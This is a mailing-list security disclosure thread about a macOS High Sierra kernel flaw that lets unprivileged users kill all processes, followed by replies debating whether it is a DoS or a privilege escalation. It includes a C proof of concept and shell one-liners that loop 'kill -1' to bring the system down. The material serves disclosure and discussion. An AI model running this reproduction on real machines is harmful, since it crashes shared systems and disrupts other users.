Privilege escalation with kill(-1, SIGKILL) in XNU kernel of macOS High Sierra

1390 views
Skip to first unread message

Shea Levy

unread,
Oct 11, 2017, 8:58:50 PM10/11/17
to oss-se...@lists.openwall.com, nix-...@googlegroups.com, Graham Christensen, Franz Pletz, Domen Kožar, Rob Vermaas
Hello oss-security,

We have found an issue in the XNU kernel of macOS High Sierra wherein an
unprivileged user can terminate all running processes using the kill
system call. In short, a completely unprivileged user can bring down the
entire system with kill(-1, SIGKILL) (and, in a shell, kill SIGKILL -1),
so long as there is at least one other process running owned by that
user. In some cases we've seen it take a few tries in a loop to actually
trigger the issue.

We have reported the issue to Apple, who do not see it as a security
concern. On its own the ability to easily bring down a multi-user system
is concerning, but the fact that we found this accidentally and that the
behavior is exactly what you'd expect if there were no permissions check
for the kill call at all leads us to believe that there is likely more
that can be done to exploit this issue. Some reports include log
messages showing services being killed prior to the system breaking,
though this has been difficult to reproduce.

We have not reserved a CVE for this issue as Apple is a CNA and does not
see it as a security issue.

Reproduction, C:

test.c:

#include <unistd.h>
#include <sys/syscall.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>

int main() {
int result;

for (int i = 0; i < 200; i++) {
result = kill(-1, SIGKILL); // Also fails with `syscall(SYS_kill, -1, SIGKILL, 0);`
printf("result:%i,errno:%i (%s)\n", result, errno, strerror(errno));
}
}

$ gcc test.c
$ sudo -i
# /usr/bin/sysadminctl -addUser -fullName "Kill Test User" -home /var/empty -addUser killtest
# cd /
# while true; do sudo -u killtest /bin/sh -c “sleep 1 & ./a.out”; done

This may take a few minutes to break your system.

Reproduction, Bash:

$ sudo /usr/bin/sysadminctl -addUser -fullName "Kill Test User" -home /var/empty -addUser killtest
$ while true; do sudo -u killtest /bin/sh -c “sleep 1 & kill -kill -1”; done

This may take a few minutes to break your system.

Background and history:

On darwin, the Nix package manager [1] uses
syscall(SYS_kill, -1, SIGKILL, 0) to kill all processes running as a
build user after the build completes, to ensure no stray processes are
left around by the (partially untrusted) build script. The normal
kill(2) interface on darwin isn't used because it also kills the calling
process, making it difficult for the parent to distinguish a successful
call to kill all processes from a rogue builder killing off the killing
process itself.

On 2017/09/28 at 4 AM Eastern, Matthew Bauer opened bug NixOS/nix#1583
[2] on the Nix github issue tracker, showing a system lockup on High
Sierra. Originally this was chalked up to changes with APFS, but by 9 PM
Eastern Matthew traced it down to the SYS_kill call with a
self-contained reproduction [3]. At around 10:50 PM Eastern, I realized
this was not just a bug in Nix but likely signified a privilege
escalation in the kernel. I wasn't able to get in contact with anyone
trusted who was running High Sierra until I got back in contact with
Matthew around 11:40, and together we verified the symptoms did in fact
indicate privilege escalation. By that point I had access to a High
Sierra machine myself, and walked through the steps we had outlined to
reproduce the issue. I reported the issue the Apple Product Security and
the NixOS security team that night. I synced up with the NixOS security
team the next morning, and worked in consultation with them through the
rest of this process. On 2017/10/03 at 10:33 AM Pacific, Apple Product
Security responded that they were not able to see security implications
in the issue. On 2017/10/05, Daniel Peebles verified that the issue can
even be triggered with the normal kill libc call, and the kill
program. We sent Apple a draft of this disclosure, including the updated
information about the ease of triggering, and they declined to treat it
as a vulnerability.

Regards,
Shea Levy

[1]: https://nixos.org/nix
[2]: https://github.com/NixOS/nix/issues/1583
[3]: https://github.com/NixOS/nix/issues/1583#issuecomment-333002658
signature.asc

Eelco Dolstra

unread,
Oct 12, 2017, 7:23:44 AM10/12/17
to nix-...@googlegroups.com
Hi,

On 10/12/2017 02:58 AM, Shea Levy wrote:

> We have found an issue in the XNU kernel of macOS High Sierra wherein an
> unprivileged user can terminate all running processes using the kill
> system call.

I guess this is more properly classified as a local DoS than as a privilege
escalation.

Anyway, it's sad that Apple no longer cares about local security. If that's the
case, then macOS should be seen as a single-user OS and supporting multi-user
builds in the Nix daemon no longer makes sense.

--
Eelco Dolstra | LogicBlox, Inc. | http://nixos.org/~eelco/

Graham Christensen

unread,
Oct 12, 2017, 8:13:35 AM10/12/17
to nix-...@googlegroups.com

One follow-up for the discussion on if this is a DoS or privilege
escalation, in the logs we saw:

Service exited due to signal: Killed: 9 sent by nix-daemon[54108]

and were able to (inconsistently) reproduce this with other unprivileged
users.

This indicated to us that we hadn’t tripped just a crashing bug, but
actually escalated beyond the normal access control protections of kill.

Graham
Reply all
Reply to author
Forward
0 new messages